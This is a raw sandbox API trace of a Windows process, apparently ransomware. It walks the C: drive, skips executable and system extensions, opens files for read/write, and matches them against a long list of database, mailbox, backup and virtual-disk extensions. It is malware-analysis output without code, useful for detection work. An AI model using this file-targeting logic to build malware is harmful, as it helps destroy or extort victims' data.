	[0062.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0062.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de00 | out: hHeap=0x300000) returned 1
	[0062.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ddc8 | out: hHeap=0x300000) returned 1
	[0062.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ddc8
	[0062.419] lstrlenW (lpString=".scr") returned 4
	[0062.419] StrStrW (lpFirst="\\\\?\\C:\\hiberfil.sys", lpSrch=".scr") returned 0x0
	[0062.419] lstrlenW (lpString=".cmd") returned 4
	[0062.420] StrStrW (lpFirst="\\\\?\\C:\\hiberfil.sys", lpSrch=".cmd") returned 0x0
	[0062.420] lstrlenW (lpString=".dll") returned 4
	[0062.420] StrStrW (lpFirst="\\\\?\\C:\\hiberfil.sys", lpSrch=".dll") returned 0x0
	[0062.420] lstrlenW (lpString=".bat") returned 4
	[0062.420] StrStrW (lpFirst="\\\\?\\C:\\hiberfil.sys", lpSrch=".bat") returned 0x0
	[0062.420] lstrlenW (lpString=".cpl") returned 4
	[0062.420] StrStrW (lpFirst="\\\\?\\C:\\hiberfil.sys", lpSrch=".cpl") returned 0x0
	[0062.420] lstrlenW (lpString=".sys") returned 4
	[0062.420] StrStrW (lpFirst="\\\\?\\C:\\hiberfil.sys", lpSrch=".sys") returned=".sys"
	[0062.420] lstrlenW (lpString=".sys") returned 4
	[0062.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ddc8 | out: hHeap=0x300000) returned 1
	[0062.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0062.420] RtlWakeConditionVariable () returned 0x365f70
	[0062.420] GetCurrentThreadId () returned 0xaf0
	[0062.420] GetCurrentThreadId () returned 0xaf0
	[0062.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0062.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de70 | out: hHeap=0x300000) returned 1
	[0062.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de38 | out: hHeap=0x300000) returned 1
	[0062.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de38
	[0062.420] lstrlenW (lpString=".scr") returned 4
	[0062.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".scr") returned 0x0
	[0062.420] lstrlenW (lpString=".cmd") returned 4
	[0062.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".cmd") returned 0x0
	[0062.421] lstrlenW (lpString=".dll") returned 4
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".dll") returned 0x0
	[0062.421] lstrlenW (lpString=".bat") returned 4
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".bat") returned 0x0
	[0062.421] lstrlenW (lpString=".cpl") returned 4
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".cpl") returned 0x0
	[0062.421] lstrlenW (lpString=".sys") returned 4
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".sys") returned 0x0
	[0062.421] lstrlenW (lpString=".msc") returned 4
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".msc") returned 0x0
	[0062.421] lstrlenW (lpString=".com") returned 4
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".com") returned 0x0
	[0062.421] lstrlenW (lpString=".lnk") returned 4
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".lnk") returned 0x0
	[0062.421] lstrlenW (lpString=".msp") returned 4
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".msp") returned 0x0
	[0062.421] lstrlenW (lpString=".pif") returned 4
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch=".pif") returned 0x0
	[0062.421] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0062.421] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\." (normalized: "c:\\msocache\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de38 | out: hHeap=0x300000) returned 1
	[0062.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0062.421] RtlWakeConditionVariable () returned 0x365f70
	[0062.421] GetCurrentThreadId () returned 0xaf0
	[0062.422] GetCurrentThreadId () returned 0xaf0
	[0062.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0062.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dee0 | out: hHeap=0x300000) returned 1
	[0062.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dea8 | out: hHeap=0x300000) returned 1
	[0062.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dea8
	[0062.422] lstrlenW (lpString=".scr") returned 4
	[0062.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".scr") returned 0x0
	[0062.422] lstrlenW (lpString=".cmd") returned 4
	[0062.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".cmd") returned 0x0
	[0062.422] lstrlenW (lpString=".dll") returned 4
	[0062.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".dll") returned 0x0
	[0062.422] lstrlenW (lpString=".bat") returned 4
	[0062.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".bat") returned 0x0
	[0062.422] lstrlenW (lpString=".cpl") returned 4
	[0062.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".cpl") returned 0x0
	[0062.422] lstrlenW (lpString=".sys") returned 4
	[0062.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".sys") returned 0x0
	[0062.422] lstrlenW (lpString=".msc") returned 4
	[0062.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".msc") returned 0x0
	[0062.422] lstrlenW (lpString=".com") returned 4
	[0062.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".com") returned 0x0
	[0062.422] lstrlenW (lpString=".lnk") returned 4
	[0062.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".lnk") returned 0x0
	[0062.422] lstrlenW (lpString=".msp") returned 4
	[0062.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".msp") returned 0x0
	[0062.423] lstrlenW (lpString=".pif") returned 4
	[0062.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch=".pif") returned 0x0
	[0062.423] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0062.423] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dea8 | out: hHeap=0x300000) returned 1
	[0062.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0062.423] RtlWakeConditionVariable () returned 0x365f70
	[0062.423] GetCurrentThreadId () returned 0xaf0
	[0062.423] GetCurrentThreadId () returned 0xaf0
	[0062.423] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.439] GetCurrentThreadId () returned 0xaf0
	[0062.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0062.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0062.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0062.439] lstrlenW (lpString=".scr") returned 4
	[0062.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".scr") returned 0x0
	[0062.439] lstrlenW (lpString=".cmd") returned 4
	[0062.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".cmd") returned 0x0
	[0062.439] lstrlenW (lpString=".dll") returned 4
	[0062.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".dll") returned 0x0
	[0062.439] lstrlenW (lpString=".bat") returned 4
	[0062.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".bat") returned 0x0
	[0062.439] lstrlenW (lpString=".cpl") returned 4
	[0062.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".cpl") returned 0x0
	[0062.440] lstrlenW (lpString=".sys") returned 4
	[0062.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".sys") returned 0x0
	[0062.440] lstrlenW (lpString=".msc") returned 4
	[0062.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".msc") returned 0x0
	[0062.440] lstrlenW (lpString=".com") returned 4
	[0062.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".com") returned 0x0
	[0062.440] lstrlenW (lpString=".lnk") returned 4
	[0062.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".lnk") returned 0x0
	[0062.440] lstrlenW (lpString=".msp") returned 4
	[0062.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".msp") returned 0x0
	[0062.440] lstrlenW (lpString=".pif") returned 4
	[0062.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch=".pif") returned 0x0
	[0062.440] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0062.440] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\." (normalized: "c:\\msocache\\all users\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0062.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0062.440] RtlWakeConditionVariable () returned 0x365f70
	[0062.440] GetCurrentThreadId () returned 0xaf0
	[0062.440] GetCurrentThreadId () returned 0xaf0
	[0062.440] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.452] GetCurrentThreadId () returned 0xaf0
	[0062.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d8a0
	[0062.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7f8 | out: hHeap=0x300000) returned 1
	[0062.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d7f8
	[0062.452] lstrlenW (lpString=".scr") returned 4
	[0062.452] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".scr") returned 0x0
	[0062.452] lstrlenW (lpString=".cmd") returned 4
	[0062.452] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".cmd") returned 0x0
	[0062.452] lstrlenW (lpString=".dll") returned 4
	[0062.452] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".dll") returned 0x0
	[0062.452] lstrlenW (lpString=".bat") returned 4
	[0062.452] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".bat") returned 0x0
	[0062.453] lstrlenW (lpString=".cpl") returned 4
	[0062.453] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".cpl") returned 0x0
	[0062.453] lstrlenW (lpString=".sys") returned 4
	[0062.453] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".sys") returned 0x0
	[0062.453] lstrlenW (lpString=".msc") returned 4
	[0062.453] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".msc") returned 0x0
	[0062.453] lstrlenW (lpString=".com") returned 4
	[0062.453] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".com") returned 0x0
	[0062.453] lstrlenW (lpString=".lnk") returned 4
	[0062.453] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".lnk") returned 0x0
	[0062.453] lstrlenW (lpString=".msp") returned 4
	[0062.453] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".msp") returned 0x0
	[0062.453] lstrlenW (lpString=".pif") returned 4
	[0062.453] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".pif") returned 0x0
	[0062.453] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.453] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0062.453] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0062.454] lstrlenW (lpString=".sqb") returned 4
	[0062.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".sqb") returned 0x0
	[0062.454] lstrlenW (lpString=".ost") returned 4
	[0062.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".ost") returned 0x0
	[0062.454] lstrlenW (lpString=".txt") returned 4
	[0062.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".txt") returned 0x0
	[0062.454] lstrlenW (lpString=".mdt") returned 4
	[0062.454] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".mdt") returned 0x0
	[0062.454] lstrlenW (lpString=".BDB") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".BDB") returned 0x0
	[0062.455] lstrlenW (lpString=".eql") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".eql") returned 0x0
	[0062.455] lstrlenW (lpString=".DBF") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DBF") returned 0x0
	[0062.455] lstrlenW (lpString=".EQL") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".EQL") returned 0x0
	[0062.455] lstrlenW (lpString=".FDB") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".FDB") returned 0x0
	[0062.455] lstrlenW (lpString=".EDB") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".EDB") returned 0x0
	[0062.455] lstrlenW (lpString=".DACPAC") returned 7
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DACPAC") returned 0x0
	[0062.455] lstrlenW (lpString=".VHD") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".VHD") returned 0x0
	[0062.455] lstrlenW (lpString=".DBV") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DBV") returned 0x0
	[0062.455] lstrlenW (lpString=".dacpac") returned 7
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".dacpac") returned 0x0
	[0062.455] lstrlenW (lpString=".sdf") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".sdf") returned 0x0
	[0062.455] lstrlenW (lpString=".accdb") returned 6
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".accdb") returned 0x0
	[0062.455] lstrlenW (lpString=".DBX") returned 4
	[0062.455] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DBX") returned 0x0
	[0062.455] lstrlenW (lpString=".MDT") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".MDT") returned 0x0
	[0062.456] lstrlenW (lpString=".SQB") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".SQB") returned 0x0
	[0062.456] lstrlenW (lpString=".vhd") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".vhd") returned 0x0
	[0062.456] lstrlenW (lpString=".bac") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".bac") returned 0x0
	[0062.456] lstrlenW (lpString=".mdf") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".mdf") returned 0x0
	[0062.456] lstrlenW (lpString=".BAK") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".BAK") returned 0x0
	[0062.456] lstrlenW (lpString=".BAC") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".BAC") returned 0x0
	[0062.456] lstrlenW (lpString=".dbs") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".dbs") returned 0x0
	[0062.456] lstrlenW (lpString=".vhdx") returned 5
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".vhdx") returned 0x0
	[0062.456] lstrlenW (lpString=".NDF") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".NDF") returned 0x0
	[0062.456] lstrlenW (lpString=".dat") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".dat") returned 0x0
	[0062.456] lstrlenW (lpString=".DBS") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DBS") returned 0x0
	[0062.456] lstrlenW (lpString=".CKP") returned 4
	[0062.456] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".CKP") returned 0x0
	[0062.456] lstrlenW (lpString=".edb") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".edb") returned 0x0
	[0062.457] lstrlenW (lpString=".PST") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".PST") returned 0x0
	[0062.457] lstrlenW (lpString=".dbf") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".dbf") returned 0x0
	[0062.457] lstrlenW (lpString=".SQL") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".SQL") returned 0x0
	[0062.457] lstrlenW (lpString=".pst") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".pst") returned 0x0
	[0062.457] lstrlenW (lpString=".dbv") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".dbv") returned 0x0
	[0062.457] lstrlenW (lpString=".SDF") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".SDF") returned 0x0
	[0062.457] lstrlenW (lpString=".dtxs") returned 5
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".dtxs") returned 0x0
	[0062.457] lstrlenW (lpString=".db3") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".db3") returned 0x0
	[0062.457] lstrlenW (lpString=".OST") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".OST") returned 0x0
	[0062.457] lstrlenW (lpString=".dbx") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".dbx") returned 0x0
	[0062.457] lstrlenW (lpString=".DB3") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DB3") returned 0x0
	[0062.457] lstrlenW (lpString=".DAT") returned 4
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DAT") returned 0x0
	[0062.457] lstrlenW (lpString=".VHDX") returned 5
	[0062.457] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".VHDX") returned 0x0
	[0062.458] lstrlenW (lpString=".ndf") returned 4
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".ndf") returned 0x0
	[0062.458] lstrlenW (lpString=".DB") returned 3
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DB") returned 0x0
	[0062.458] lstrlenW (lpString=".sql") returned 4
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".sql") returned 0x0
	[0062.458] lstrlenW (lpString=".MYD") returned 4
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".MYD") returned 0x0
	[0062.458] lstrlenW (lpString=".DBT") returned 4
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DBT") returned 0x0
	[0062.458] lstrlenW (lpString=".ACCDB") returned 6
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".ACCDB") returned 0x0
	[0062.458] lstrlenW (lpString=".fdb") returned 4
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".fdb") returned 0x0
	[0062.458] lstrlenW (lpString=".bak") returned 4
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".bak") returned 0x0
	[0062.458] lstrlenW (lpString=".myd") returned 4
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".myd") returned 0x0
	[0062.458] lstrlenW (lpString=".DTXS") returned 5
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".DTXS") returned 0x0
	[0062.458] lstrlenW (lpString=".ckp") returned 4
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".ckp") returned 0x0
